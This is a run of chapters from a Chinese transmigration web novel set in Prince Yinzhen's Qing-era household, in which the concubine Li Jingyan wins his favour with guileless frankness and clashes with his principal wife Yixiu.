李静言挑了挑眉,继续说道:“这佟佳嬷嬷可告诉我们了,这次选秀主要是为了几位阿哥爷添人,尤其是四贝勒,府中孩子少,这才挑了女儿去。 咱们家虽说不是什么重臣将臣,但娘能生可是出了名的。女儿啊,以后靠生孩子不成还能靠这张脸呢。佟佳嬷嬷都说了,女儿这张脸肯定得宠。” 李静言有意的模仿原主说话没有条理,东一榔头西一棒子的样子,居然比上一趴一直动脑都要累。 正当家里人沉浸在女儿得宠全家鸡犬升天时,李静言咳了咳:“不过,佟佳嬷嬷可是说了,这四贝勒从小就是个刚正不阿的性子,最讨厌身边的人欺上瞒下贪污腐败了。 爹,你可得管好了自己,女儿要是得宠了,什么好宝贝弄不来!宫里头贵人随便一赏赐就是千两万两的。你要是走错了道,可就没有了。” 看着李昌源似是听进去了,李静言继续忽悠:“再说了,爹你就是个小小的大名府知府,就算人家给你上供能得多少?拼了命也不过百两千两的,要因为这丢了命,亏不亏?” 李昌源挠了挠头:“爹就是个知府,应该 不会有贵人查到咱们头上吧?” 李静言恨铁不成钢的掐了一把身边的哥哥:“爹你说什么呢!你虽然是个小小的知府,但女儿我可是四贝勒的格格! 四贝勒当然会对咱们家多看两眼了!万一被发现了,到时全家流放都是好的。这万一被砍了头,爹你想想,又痛又丢人,还会被族老除族!” 除族可太严重了,李昌源立刻指天发誓自己会好好干,绝不给祖宗丢脸! 李静言满意的点了点头,又看了眼旁边的三个哥哥两个弟弟。 三个哥哥在印象里都是憨厚但不聪明的,就是不知道这两个小弟有没有救。 “在家都乖乖读书,若是能读出名堂,姐姐就给你们弄来皇子阿哥用的墨条!” 看着两个弟弟眼睛放光的样子,李静言骄傲的笑了笑‘反正到时候从四贝勒那里要些就是了,只要是四贝勒府里出来的,那就是皇子阿哥用的!’ 暂时稳住了李家一家,看状况来应是不会沦落为罪臣之女了。 (齐妃虽历史确有其人,但其父亲李文烨并没有贪污被流放。电视剧里是瞎编的。 所以这一次齐妃的父亲就不往历史人物上靠了,有点糟蹋历史人物。 此次李静言身家均为瞎编,切勿考究。) 第199 章 李静言2 格格入府只有一个小包裹,里头放了族里添的银子,还有一身李母绣的桃夭粉的旗装,一个扁扁的首饰盒子,便是全部的家当了。 四贝勒府的小轿子在辰时就到了李家在京城购置的小宅子门口,李静言在家人依依不舍的眼神中踏上了前途未知的路。 “格格这边请。” 皇子府里的婢女都是有定量的,李静言赶的巧,四贝勒的嫡福晋仙逝,其身边的婢女有被乌拉那拉府领回去的,也有被迁怒打死的。正好空出来一批位置。 左右包衣婢女是定量,府里也是要从人牙子处采买伺候的人,小气的四贝勒和四贝勒福晋便允了李静言等人可以带一位婢女入府伺候。 本来,这项权利是只属于福晋和侧福晋的。 李静言没带那个脑子同样不好使的翠果,反而带了自己屋里一向沉默寡言的翠萍。 翠萍不如翠果能说,但翠萍是个天生力气颇大的女子。 “格格,这就是您的住处了。” 领路的太监第一眼就觉得这位新来的格格是个有前途的,此时微微抬眼,更加确定了这个想法。 “翠萍。” 给了赏打发了领路的小太监,李静言笑眯眯的看着眼前龙飞凤舞的‘瑞云轩’三个大字,这是四贝勒府东南角的一个小院子,不大,只有一间正房三间偏房。 院子里倒是收拾的雅致,她的脚刚踏进去,就迎来了两个太监两个宫女。 “奴婢晴云, 晴雨/奴才小琦子,小路子见过格格。” “都起来吧。” 格格身边伺候的人少,满打满算一个院子里也就五个下人。 头一次认主子,翠萍从怀里掏出四个二两的银块子分给了大家。 系统这时候突然冒了出来:“晴云和晴雨都是福晋乌拉那拉宜修的人,小琦子是齐格格的,小路子是胤禛的。” 李静言无语望天,一个小小的贝勒府整的比宫里头还热闹,齐格格也就算了,地位低又不算得宠防备着新来的人还好。 一个正头福晋,小家子气的很。 不过,李静言瞧着翠萍虽然寡言但带着晴云晴雨把自己这小屋子快速收拾利索时在心里默默的问系统:“你怎么突然刷个存在感?” 系统不好意思的挠了挠头:“你任务完成的好,总也用不上我。我出去溜达了一圈,给你存了点点心和熟肉凉菜。” 这倒是不错,空间里虽然金山银山堆的高高,这些现成的吃食并不算多。 “没事,你玩去吧,瞧着有无主的好玩意儿就帮我收一收。” 这人的灵魂不变就永远克制不了收集的癖好,什么有用的没用的,都得攒起来才行。 “都安排好了?” 宜修在自己的小书房练字,看见剪秋进来就知道格格们都入了府。 “都好了。” 剪秋犹豫了片刻,还是没有说出李格格貌美之言。 “听闻大名府知府李昌源的女儿美若天仙,可是真的?” 正经选秀的又如何,汉军旗知府的女儿,只是太过貌美,未必是好事。 “只是传言罢了,李格格虽然貌美,但并未夸张到这个地步。” 宜修抬了抬眼,主仆多年,自是听出了剪秋语气中的言不由衷。 “直说便是,本福晋还能和一个格格计较不成?” 虽是这样说,但宜修的笔尖却再没有落下去。她犹豫再三,把笔搁置在侧,走到贵妃榻旁坐下。 剪秋熟练的斟了杯茶:“李格格确实貌美,只是瞧着也是个不聪明的。” 宜修看了会儿杯子里清亮的茶汤,半晌放下去问道:“和柔则比,又如何?” 剪秋有些纠结,想了想才说道:“和先福晋并非是一种美。李格格更娇憨俏丽,不过也有种不谙世事的天真。” “其她人呢?” 这次被指给四贝勒府的格格有三人,除了李氏,还有宋氏和钱氏,都是小官之女。 “宋氏温婉,钱氏身段佳。” 选妾的标准自然和选正妻不同,容貌是第一参考要素。 “嗯,先不必插手。” 四贝勒已经二十多岁了,长子不治而亡,次子跟着先福晋落地而殇。偌大个贝勒府竟再无婴啼,皇上自是不满的。 宜修也收到了来自德妃的警告,这段时间只好不情愿的安分下来,心里头也是不痛快。 “爷今日要来看格格呢!” 入府的三人胤禛都是有所了解的,李氏最貌美,自然是第一个得到和他睡觉的机会。 “快把额娘给我做的桃夭色的衣裳拿来,这粉色啊,最衬我的肤色了。” 模糊的铜镜里露出一张闭月羞花的芙蓉面,满满胶原蛋白的脸不需要过多的点缀,便是女子容颜最好的时候,浓妆淡抹总是相宜。 “格格肤白,穿什么都好看。” 晴雨是个嘴甜的,凭借着‘花言巧语’成功混上了李静言身边的位置。 翠萍直觉觉得这人不是个好的,但是她又说不上来哪里不对劲,心里头暗自为自家小姐提着心。 天色渐暗时,胤禛带着苏培盛就走到了瑞云轩的地界儿。 “妾身给爷请安。” 有道是烛火下看美人,七分貌八分氛围。 更何况李静言本身就是八分貌,这让一向冷脸的胤禛都有些控制不住自己的双脚,快步上前把人扶了起来。 “这天儿已经起了凉风了,怎的穿的这样少?” 李静言眼睛一弯,直直的对上胤禛的眸子:“今日妾身刚过府呢,也只带了两身衣裳,爷可要赏妾身两身衣裳穿?” 盈盈秋水一般的双瞳一下子就看的胤禛有些见色起意。他按耐下心头被美貌扰乱了片刻不规律的心跳,暗笑自己也是个贪图好颜色的。 “爷还能少了你的?可是喜欢粉色?” 胤禛刚才就想说了,这一身粉色的衣裳衬得李氏小脸像卫辉桃一般香甜可口。 (卫辉桃,清朝贡品。) “妾身穿什么颜色都好看,爷可是都要赏给妾身?” 被抱着胳膊,胤禛难得的没有脱口而出‘不成体统’四个字。 也不知道这李氏怎么教的女儿,胆子也太大了。就算是柔则,当初两人夜晚的第一次相处也是羞涩谨慎又不安的。 再瞧这个李氏,一双懵懂的双眼里没有对皇家的畏惧,完全是小女子心性。 “你还没有伺候就要赏,爷可不给。” 李静言嘟了嘟嘴,眼珠子滴溜溜的转。 一点也没有精明的算计感,完全是女儿家的天真俏皮。 正想着,肩膀上便多出来一双带着香气的小手,胡乱且随意的捏了捏人就滑到了怀里:“伺候了伺候了,给赏吧爷。” “哈哈哈,给!” 胤禛被李静言的操作逗的笑个不停,叫苏培盛从库房里把所有娇嫩鲜艳颜色的布料,不拘薄厚和品种都各取了一身衣裳的量送了过来。 “叫他们都制了衣,给咱们李格格送来。” 其实进府后应当是由福晋提前从内务府拿了妾室的身量先制两身衣裳替换的。 但宜修没有作为,李静言可不会吃亏。 “多谢爷!” 李静言笑的开心,脸颊处两个小小的梨涡更是添了甜蜜,叫胤禛还未用膳就觉得嘴里都是香味。 “好了,先用了膳。” 格格的份例自然是不多的,但四贝勒在啊,一桌子都是好吃的。 虽然系统在任务上帮不上忙,但能帮助李静言维持身材。怎么吃都不会胖。 瞧着胃口大开,吃相稍显粗鲁的李氏,胤禛却不觉得烦,便是瞧着这张脸,他都能多吃一碗饭。 年轻的胤禛果然有两把刷子,芙蓉帐暖度的可是一整晚的春宵。 (有人说女主没有吃过好的,所以在瓜尔佳笨蛋和李笨蛋中选择了齐妃,能吃点好的。宋氏是胤禛最开始侍奉在身边的,其实齐妃也是。只不过这个剧里齐妃的设定是不认识柔则的,那肯定是在柔则死了才入府。一并把宋氏也推后了。) 第200 章 李静言3 “爷,妾身起不来。” 寅时三刻,胤禛刚迷糊着就被强大的生物钟叫了起来。 早朝一般在卯时左右,还得起来醒醒神用些东西垫吧一下肚子。 刚坐起来的胤禛就听到一句迷糊的告罪,他转身看了眼床上埋首在锦被中的人轻笑了一下。 捏着被子外头那段纤细白嫩的小臂放回到被子里,才安抚的摸了摸李静言的头顶:“睡吧,爷不用你伺候。” 那温声软语的样子叫在不远处候着的苏培盛下意识的撇了撇嘴。 利索的穿戴好,胤禛离开前回头望了一眼粉色帐幔,被遮掩的模糊人影并不妨碍其在脑海中描绘出李静言现在的模样。 “给李格格多准备些首饰和好的衣裳送来。” 胤禛想的很简单,李静言长的漂亮,性子也有趣,相较于后院零散几个提不起兴趣的女人来说,更为贴心。 他对于满意且有兴趣的女人最直接的表达方式就是送赏。况且李静言昨日的表现已经很明显了,是个爱美又直接的人。 苏培盛应了是,还没等回头找人去忙,就看到自家爷再一次看向他:“对了,我记得私库里有几盒玫瑰香膏,都给李格格送去。” “是,那奴才现在去找,叫高无庸陪着爷去上朝?” 私库里的钥匙除了他苏培盛,就是小佟嬷嬷有。不过小佟嬷嬷这几日着了风,一直在休养着。 “去吧,挑些颜色娇嫩的首饰。” 单是昨晚简单的装扮便叫胤禛有些流连忘返,不知道仔细梳妆起来,会是多好的颜色? 只看自家主子的脸色就知道这活得精细着挑,苏培盛的脑子里已经有了章程:“诶,奴才知道了。” 府里头的请安时辰被定在了辰时,毕竟宫里的请安时辰也就是这般了,宜修就是想再早点,也是不敢的。 不过,她在这时间上稍微守些规矩,在频率上就放肆的多。 宫里头没有皇后,请安也只不过是初二十五两日,谁能像四贝勒府一样呢,日日不落的给主母请安。 “格格,咱们该去请安了。” 翠萍瞧着晴雨那温声细气的样子翻了个白眼,她一屁股挤开瘦弱的晴雨,手里温热的帕子轻柔的敷在李静言的脸颊处。 “翠萍?” 李静言睡的沉,声波攻击在她这里属于无效攻击,只有这种物理攻击才能叫她感应外界信号。 “诶,是奴婢,快起来吧格格,苏公公在外头拿着漂亮的首饰和衣裳等着您呢。” 本还有些困顿的李静言瞬间睁开了眼睛,她顺着翠萍的力道坐起来,快速的穿好了昨日的衣裳。 “格格,这是爷今早吩咐给您送的赏赐,您接着吧。” 苏培盛低着头,身后的婢女端着十来个托盘快速上前。 “多谢爷了,苏公公可要帮我转达谢意,顺便邀爷来用膳。” 苏培盛被惊的抬了一下头,这李格格果然不同凡响。 “是,奴才记得了。” 李静言进府带了五百两银子,都是散碎的,方便打赏用。 这次胤禛倒也是考虑到了这个问题,厚重的首饰匣子上面只铺了一层套饰,掀开夹层,里头是满满的银瓜子。 李静言从今儿得的赏赐里挑了一身桃红色的旗装,配着桃心簪和小米珠簪花衬得人娇俏可爱。 “福晋,李格格到了。” 宜修向来是掐着点出来坐着的,但她没想到李静言会来的这般晚。 不过府里也没几个人,宜修又向来不算得人心,自然也没有人帮着说话。 “妾身李静言,给福晋请安。” 那灿若桃李的脸蛋叫宜修的手捏紧了帕子,对于昨日传言里‘美若天仙’一词倒有了切实感。 和柔则的气质如兰,仪态万方不同,李格格的美是天真烂漫笑靥如花般的富有生机力。 “起来吧。” 不管心里的扭曲十八弯,宜修向来面子上做的好功夫。 瞧着李格格脸上一直带着笑,宜修也不由自主的扬起了嘴角。这倒是跟喜爱无关,只是李格格的笑容格外有感染力。 “李格格初来乍到,若是有什么困难跟本福晋说就是了。” 宜修只是客气一下,彰显自己的贤惠大度罢了。 “那就多谢福晋了。” 李静言喜滋滋的应了下来,而后掰着手指头说道:“妾身昨儿个入府,选秀在宫里头听嬷嬷讲的规矩,咱们府里是准备两身衣裳给妾身的。昨儿妾身在屋子里没看见,福晋您记得帮妾身问一问。” 宜修的笑容僵在那里,但又不好说自己是故意忽略了三个格格,只好柔柔的笑道:“是本福晋疏忽了。” 齐月宾带着些扫视和打量的神情叫李静言颇为不爽。她突然扭头对上齐月宾的视线:“这位格格,你可是觉得本格格貌美看呆了去?” 这是齐月宾第一次应付如此直白自信的人,她有些不知所措:“只是看妹妹气色红润,叨扰了妹妹,是我的不是。” 李静言轻轻的翻了个白眼:“知道叨扰就好,哪有人像你这般盯着人上下扫量的,不知道的,还以为是那地痞流氓呢!你是哪家的?怎么没学过规矩吗?” 齐月宾幼年被接进宫中由德妃抚养,从小见的都是和气客气的面容,哪里见过这场面? 她脸色迅速上升一抹红润,不知是气的还是羞的:“我是虎贲将军之女,只是无意看了妹妹两眼,妹妹何苦这般疾言厉色?” 李静言像看傻子一样看了齐月宾一眼:“你是虎贲将军的女儿又怎么样?、什么无意间看了两眼,长了眼睛的都看到你盯着我好久了。有那咬文嚼字的功夫不如反省一下自己好吗?什么人呐,自己做错事了还想叫别人道歉。” 宜修在上头笑了起来,李氏这张嘴是真的妙啊。 “对了,福晋,妾身院里那个小琦子长的贼眉鼠眼的,瞧着难受,能给妾身换一个吗?” 因为奴才长相要换的,李氏可是第一个。 宜修愣了好一会儿,不知道为何眼神飘向一旁的齐氏身上。 只见她虽不动如山,但手指尖却是有些泛白。 宜修挑了挑眉:“可以,你离家入府定是有许多不习惯的地方,这些小节本福晋不会深究的。” 李静言继续得寸进尺:“那,那妾身能自己挑一个吗?妾身想着,最起码找个顺眼的啊!” 小琦子其实长的不丑,但眼缘这个事,李静言说不合眼就是不合眼。 刚才的好心情突然有些消散了,宜修实在觉得李氏是个没眼力见又笨的。 “本福晋会给你送几个到瑞云轩,你挑一个吧。” 这四贝勒府其实能用的人手不算多,因为这里藏龙卧虎,谁家的探子都有一个。 宜修能管家但并不是擅长管家,她一个庶女,单看觉罗氏教导出来的柔则就知道,乌拉那拉府也没什么规矩。 李静言瞧着院子里站的五个小太监召唤来了系统。 “我懒得费劲了,挑一个能用的。” 这地界儿还要生存很多年,娘家又是个靠不住的,别说拿捏下人的家人了,自己都拿捏不住。 “中间那个吧,因为太好看了点,没人愿意要这么突出的容貌的人当探子。” 李静言顺着系统的话看过去,是挺好看,有种小白脸的好看,怪不得当探子都轮不到他。 “中间那个,你叫什么?” “回格格的话,奴才小九。” 李静言又仔细瞅了瞅旁边几个小太监的容貌,摇了摇头。 “就,这个小九吧。” 宜修得到消息后只骂了一句‘蠢货’。 因为在宜修眼里,这么有记忆点的面容,一点都不符合挑下人的原则,但凡做个什么事,都会被认出来。不过,这也叫宜修很放心,李静言虽然貌美,但是个没脑子的。 若是府里必须有个小阿哥的话,那宜修希望是李氏肚子里出来。 第201 章 李静言4 胤禛忙活完手里的活,第一时间到瑞云轩去。 “这是做什么呢?” 不大的院子里围了一圈下人,李静言在边上不停的指挥着什么。 “爷!您回来了!” 听到胤禛的声音,李静言猛地转头,头顶疏漏的光影给她的身形加了一层朦胧的光晕,娇美的面庞有些模糊,唯有头顶那桃红色的桃心格外的清晰。 眼瞧着人跑了过来,胤禛下意识的张开了双臂。 好在李静言记着这位不是个强壮的,悠着力气‘撞’了进去。 “莽撞!” 胤禛口嫌体正直的护着人,但嘴里仍旧吐着恶言。 李静言咧着嘴笑了笑,那模样怎么看怎么傻气,胤禛一边有些嫌弃,一边又很受用美人的热情。 “妾身在搭葡萄架呢!” 不光是葡萄架,小院的墙边还栽种了蔷薇,窗前光秃秃的空地上也移栽了两棵海棠树。 “瞧,妾身的窗前有两棵树,一棵是海棠,另一棵也是海棠。” 李静言摸着自己的下巴摇头晃脑的说了句废话。 胤禛觉得自己的笑容是无奈的。 “你呀,多读些书吧。” 他点了点李静言的脑门,心里转了一圈李家的门楣。对于李昌源这个知府并不是很了解。但,胤禛先入为主的想:能坐到知府这个位置,想来也不算差。静言应该还是进步的空间。 (几个月后:你们老李家就没有一个有脑子的吗?) “这就是你新换的太监?” 胤禛看了眼显眼的小九,对李静言的能力再次有了清晰的认知。 “是啊,好看吧爷!” 看着洋洋得意的李静言,胤禛很想问,若是今后你想叫人去做点什么,这小太监未免太过显眼了吧? 但他说不出口,因为李氏看着并不是一个能隐藏自己心思的。 “好看。” 他还能说什么呢?这么漂亮的笨蛋就是要宠着啊。 “爷,妾身能要个小炉子吗?” 李静言熟练的用手抓了抓胤禛的肩膀,表示自己是付出过劳动的,而后用水汪汪的大眼睛眨巴眨巴的看着胤禛的眼睛。 四目相对里,情意相通?不存在的,胤禛只看到了李静言眼睛里自己的光秃秃的额头。那双眼睛太清澈了,都能当镜子用。 “行。” 胤禛听到自己答应了,虽然他也不知道自己在想什么。 一连十日,瑞云轩这个小院子就没有消停的时候,宜修的脸色也越来越难看。 “李格格,爷的身子尊贵,你莫要拉着爷胡闹。” 连胤禛的身影都看不到,宜修不免想起了柔则在时自己憋闷的时光。 李静言不解的看着宜修:“福晋这是说的什么话?妾身拉着爷做什么了?” 知道李静言是听不懂话的,她深吸口气:“你伺候爷多日,晚上哄的爷睡的晚,爷白日里能有精神吗?” 李静言恍然大悟:“福晋这话说的好没道理,男女敦伦怎么就是胡闹了?爷乐意找妾身睡觉,妾身还能把爷撵出去吗?福晋你不是大妇吗?难不成是要跟妾室争宠?” 她的表情那么坦荡又好懂,宜修只觉得自己全身的血液冲到了头顶,脑子里一时间是嗡嗡的眩晕。 “李格格,你,你满口胡言!” 李静言从自己的荷包里掏出一个小巧的糖块‘悄悄’的用帕子做遮掩塞进嘴里:“这贝勒府不都是爷的,爷想去哪就去哪呗,福晋管不了爷就来牵连妾身。说的好像妾身能指挥爷做事似的。” 宜修从来没见过这般浅薄的人,一时间被怼的气血翻涌,眼前似有满天星在飞舞。 “来人啊,传本福晋的旨意,李格格言语不尊,罚份例一个月。” 其实是想禁足的,但宜修不敢。毕竟这段时间贝勒爷对李格格的宠爱有眼睛的都看的到。 李静言张了张嘴,不服气又带了些委屈。 她气哼哼的回到自己的小院子,也不吃饭,就那么坐着。偶尔挥拳捶两下手下的软枕,瞧着有些想怒不敢怒的样子,可怜极了。 小路子虽然是胤禛的人,但李静言是个不错的主子,不苛待下人,也会心情好了给他们加个菜。所以便自告奋勇到垂花门处,等着男主子的身影。 “爷,李格格今日还未用膳呢,您去瞧瞧吗?” 其实胤禛这几日只要有空都会陪李静言一起吃饭,李静言长得漂亮胃口好,胤禛每次跟她吃饭都能多用些,感觉身上都有劲儿了。 “怎么回事?” 胤禛今日回来的晚些,宫里的兄弟们说话夹枪带棒的,影响了处理手头事务的心情。 小路子把今日请安事挑挑拣拣说了说。 胤禛听的发笑。 掀开帘子,看着还在生气的李静言,把手伸到她眼前,握紧的拳头松开,一串浓郁的紫色珠串便垂落下来。 “呀!好漂亮。” 不含一丝杂质的紫翡颗颗饱满圆润,约有八毫米的珠子排列整齐的在眼前轻轻摇曳,勾的李静言的眼睛也随着动起来。 胤禛的嘴角带着自己都没有察觉的微笑:“这便满足了?” 他说着,刚才松开了一下再次握拳的手又一次撒开,那珠串下降,竟是比李静言记忆里两岁时的小弟都要高。 “一百零八颗,寓意好些,要不要?” 他坏心的把手里的串子收回去,看着眼巴巴扬着脸的李静言把脸凑近了去。 李静言被突然靠近的胤禛吓了一跳,不过很快回过神来咬了咬唇。 眼前人笑的有些欠兮兮的,李静言出其不意凑近他亲了一口。 力道掌握的不好,撞得有些疼。 她捂着嘴瞪着眼睛满眼的无辜。 胤禛摸了摸自己有些痛感的嘴唇,扶着眼前人的头又亲了上去。 胡闹了一阵子,珠串如愿戴在脖子上的李静言抱着胤禛的脖子告状:“福晋为什么要罚妾身的份例啊!爷不是贝勒府的主子吗?您喜欢来妾身这里,为什么要骂妾身啊!” 胤禛看着怀里人完全不解且不赞同的神情,没忍住捏了捏鼓起来的脸颊。 “好了,福晋规矩重些,爷把份例补给你,嗯?” 李静言得了钱,倒也没有抓着不放,只是揉着胤禛的耳朵嘀嘀咕咕的还是不服气的样子:“哪家的规矩,还要管自己爷们去哪里?” 胤禛拍了拍李静言的屁股,虽然很认同她的话,但不能叫这个傻大胆继续说下去了。 “好了,后半个月爷本来是要宿在前院休息的,都在你这里,别气了。” 其实这十来日他们也不是日日都要荒唐一下的,只是和李静言在一起格外放松,心里头轻松睡的也好,所以胤禛乐意在瑞云轩待着。 “那行,今儿还画画吗爷?” 两个人凑一起能做的事很多,只有宜修脑子里只要胤禛凑到别的女人院子里便是那档子事。 “画,爷给你准备了身衣裳,你换一下。” 胤禛喜欢画美人,尤其是可塑性极强的美人儿。 在发现李静言各种风格的衣裳都能穿出独特的韵味时,胤禛便十分喜欢给李静言做衣裳叫她当模特。 今日胤禛准备的是盛唐时期大红色织金襦裙,金色披帛的双尾端缀了数百个宝石珠子。 如瀑的秀发被挽成了双环望仙髻,髻前饰小孔雀开屏步摇,髻上珠翠如星,整个人如从画中走出的仕女,美的惊心动魄。 胤禛扶着李静言侧卧在贵妃榻上,眼底不仅有对艺术的渴望,也有对美人的狂热。 李静言看向胤禛给她指的方向,低垂的睫毛叫她的表情变的高贵又蔑视。 一直到整幅画完成,李静言俏皮一笑,那股妖妃的气势便瞬间消失的无影无踪。 胤禛上前搂着人往寝殿走,至于福晋说今晚请他去正院说事,完全被抛在了脑后。 第202 章 李静言5 德妃看着底下端坐着的侄女没什么感情的笑了笑,眼神里带了些许不易察觉的嘲讽。 “本宫知道了,一会儿老四过来,你们一起留下用膳。” 不过是个颜色好的格格罢了,胤禛愿意宠着也不过是一时新鲜。 知府的家底浅薄,正好生个儿子堵上皇上的猜疑才是正经。乌拉那拉氏好歹也是大族,教出来的女儿一个比一个不顶事。 虽是这般想着,但柔则已去,只有宜修能撑得起这个场面,德妃自然要多为家里考虑两分。 宜修温和颔首,眼里的得意还是暴露了两分心思。 胤禛本身是个关怀量需求巨大的人,在养母那里情感上幼年时得到过满足。可自从孝懿皇后有孕后便再没有被真正疼爱过,所以面对生母德妃,总是抱有期待的。 对比起宜修只知道劝解‘雨露均沾’的话头,德妃显然更高明。 “本宫听闻新入府的格格颇得你的喜爱。” 胤禛笑了笑,心里知道这是福晋最后的手段,有些厌烦。 “是,额娘也知道,儿子后院的人不多,难得有个心思浅说话直白的,儿子觉得放松的很。” 德妃脸上的笑容微微凝滞了瞬间,从容的接话道:“浅显也好,只要能伺候好你就是好的。” 本以为把握十足的宜修低着头,一顿饭吃的食不知味,身旁的胤禛还不断的释放冷气,叫她不知道是吃了米还是吃了冰进胃里,作痛的脸色都有些发白。 “你子嗣少,莫要任性。” 后院不能说子嗣少,分明是一个都没有。 不过好歹是有过两位阿哥的,虽然殇了,但是也证明老四是个没问题的。 说到孩子,胤禛终于松了口:“是,儿子知道了。” 回到四贝勒府中,胤禛一分眼神都没有分给宜修,带着苏培盛直接往瑞云轩而去。 “福晋,您当心脚下。” 宜修大半个身子的力气都倚在剪秋身侧,看着胤禛飞速消失的背影轻声呢喃:“剪秋,宋格格和钱格格瞧着都是好生养的,李格格娇气,便少受些苦吧。” “是,奴婢知道了。” 本想着李氏蠢笨,即使生个阿哥也约莫不是聪明的,但只凭着一张脸就叫她这个福晋不能容忍,宜修便起了别的心思。 “爷今儿回来的早!” 李静言瞧着进来的人,把手里未完成的布料丢下,小跑着凑上去。 “做什么呢?” 胤禛习惯性的捏了捏李静言的脸颊,半搂着人坐到榻上去。 “想给爷做身寝衣呢,就是手艺不行,爷可不能嫌弃。” “不嫌弃,爷看见线头也只当瞎了。” 胤禛只瞥了一眼,就能看出那寝衣的走线有多疏松,不过在李静言这里嘴欠习惯了,便是知道说出来需要破财才能哄得美人一笑,也管不住嘴,乐此不疲的惹火。 “爷!妾身做的很仔细的!” 瞧着人要蹦哒着起来证明自己了,胤禛连忙使劲把李静言扣在怀里:“知道了知道了,爷错怪静言了。” 说着,胤禛把手上盘了多年的十八籽戴到了李静言手腕上:“给你赔罪。” 这串有些大了,绕在李静言纤细的手腕上有了别样捆绑的美感。 胤禛的眸色变了变,但很快隐藏了下去。 李静言撸下来手串看了看:“改明儿妾身把它做成压襟才好看呢。” 胤禛只是笑:“都随你,给你了,就是你的。” 苏培盛把今日要处理的公务拿到了小书房,李静言就在旁边坐着看话本子,身旁还摆了一碟水果,清甜的香气和抬头就能入目的人叫胤禛动力十足。 “爷今晚就不过来了,宋格格和钱格格入府也有段日子,爷得去看看。” 胤禛捧着李静言的脸蛋,大拇指摩挲着细嫩的脸颊。 李静言不开心的撇了撇嘴,不过好歹也知道自己没什么身份阻拦。 “好了,爷再不去,福晋又要扣你月例了。” 这事宜修做的胤禛很不痛快,在知道李静言的杀伤力后,说话也随意的多。 果不其然,李静言一听到这话就瞪起了眼:“哼!妾身就知道,福晋一天到晚没事干,总盯着爷的去处。” 胤禛笑着捏了捏李静言的鼻子,他自然对宜修是不满的,但有些话他身为男子不好说出口,就这么静静的听一听,心里头就舒坦。 “妾身的母亲在家时可忙了,有相好的手帕交约着去听戏逛首饰楼,还有同知夫人,通判夫人约着去赏花。 有时候比父亲还要忙,府里头虽然小,但大大小小的活计也得处理一阵子,什么庄子的进项啦,铺子的收益。哪里有空关注爹去哪个姨娘的屋子里。” 李静言的吐槽似是醍醐灌顶般打通了胤禛的任督二脉:‘是啊,府里头这么多事。单是知府的当家夫人就要应酬那么多夫人的邀约。他堂堂四贝勒, 府里的福晋竟然什么都不做?’ 瞧着还在抱怨的小嘴,胤禛使劲亲了一口。 “诶,爷?” 李静言睁大了眼睛,迷茫的看了眼乐呵呵的胤禛。 “静言是个有福气的。” 胤禛并不打算说刚才自己所想之事,只是觉得李静言傻人有傻福,歪打正着的把他碰醒了。 果然,李静言完全忘了刚才吐槽福晋的话,得意洋洋的抬着下巴晃了晃脑袋:“那可不是,妾身父亲可是说了,这皇子家的格格,可不是谁都能当的。” 胤禛:突然觉得李家其实不怎么靠谱! “爷给你做了两身新衣裳,还带了抱月楼的首饰,等过两日来看你。” 专宠一个妾室指定是不行的,胤禛自己也知道。 一个月还能解释碰到一个可心的,再继续府里皇阿玛的探子就要告状了。他最多被训斥两句,静言这个家世不显的格格,说不得还会被‘病逝’。难得碰见这么一个哪哪都合心意的,胤禛自然不愿意其受到伤害。 “知道了,那爷要想着妾身啊。” 李静言突然转身到床边拿了个东西过来:“这是妾身串的,给爷戴。” 那是一串多宝色的手串,每颗的颜色都格外浓郁,搭配在一起像是把一整个春天戴在了手上。 “这颜色也太鲜亮了些,爷怎么好戴这个?” 其实胤禛很喜欢,他喜欢一切鲜艳明媚的东西。只不过被康熙训斥后,便收起了这心思。 “怎么不好戴了?爷正是年轻气盛的时候,才要戴这个呢!” 李静言理所当然的表情叫胤禛很受用,他摸了摸手串到底没有摘下来。 “你就拿着爷赏赐的东西糊弄爷吧。” 知道李静言喜欢宝石珠子,胤禛这段时间赏了不少好东西。 “那妾身身上还有不是爷的吗?” 胤禛看着凑过来的脸轻啄了一下:“好了,爷真得走了。” 天儿都擦黑了,宋格格被福晋放到了西北头儿的小院,胤禛有时候也是不明白,偌大个王府,福晋是从哪找出来这么多偏僻的院子的! 送走了胤禛,李静言躺在床上把宝石珠子放在了一个巨大的琉璃盘里。 她轻轻拨弄了一下,从中抓了一把又松开,叮了当啷的响声,真是美妙极了。 第二日请安,大家终于见到了这位宋格格。 宜修细细的打量了一番,只见宋氏低垂着头,声音嗫喏表情紧张,瞧着容貌也只是清秀。 身段单薄了些,但这么看着,是个安分好拿捏的。 眼神转向一旁用帕子掩着嘴打哈欠的李静言,宜修开口道:“李格格这是还未醒神?正好本福晋今日沏了祁门红茶,正是提神的,你可试试。” 李静言没有喝,这正院入口的东西谁敢真的用啊。她真诚又带了些浅显的尊重提议道: “若是福晋真想给妾身提神,那便推迟些请安的时辰吧。妾身听王爷说,这宫里头的娘娘们请安也不过是辰时,咱们一个小小的贝勒府,有必要这么辛苦吗?” 宜修拍了拍桌子,对李静言的大胆发言很是不满:“李格格慎言,请安是老祖宗定下的规矩。” 李静言却不怕她,她梗着脖子一脸不服气:“可是宫里头的娘娘们也只不过是一月两日的请安,难不成福晋比宫里头的娘娘们都尊贵吗?” 宜修哪敢这么说,她咬着牙看着李静言,眼神里似是淬了毒:“李氏言语犯上,禁足一月。” 贝勒爷已经去别的格格那儿走动了,宜修还就不信了,贝勒爷会为了这事跟她对着干。 第203 章 李静言6 事实证明,宜修在胤禛心里并没有什么位置。 “李格格犯了什么错?福晋要把她禁足一个月?” 胤禛刚回府,手里头还捏着一兜沁芳斋的点心,正准备给李静言尝尝,还未到垂花门就得知了李静言被禁足的消息。 在胤禛心里,李静言莽撞言语直白,但并不是不知礼的人。 相反,虽然李静言不太聪明,但李家的家风很好,李静言又是嫡女,其母亲身为府中掌管中馈的主母,上上下下做的都很好。 就算李静言未学到十分,也耳濡目染的有当家主母的基本条件。所以李静言是绝不可能犯大错的。 “李格格今日言语僭越,妾身才罚了她。” 宜修看到胤禛脸上的笑容还没收回,就被这声责问搞得维持不住笑脸。 胤禛坐在椅子上没有接话,反而看向苏培盛旁的小佟嬷嬷。 小佟嬷嬷是孝懿皇后留给他的人手,为人看着是古板,但心里头是个主子好就行的人。至于那些条条框框的规矩,在小佟嬷嬷心里,犯不到外头去的,都不是问题。 “今日李格格请安时困顿,便询问福晋为何不可更改请安时辰,是否比宫里头娘娘还尊贵。” 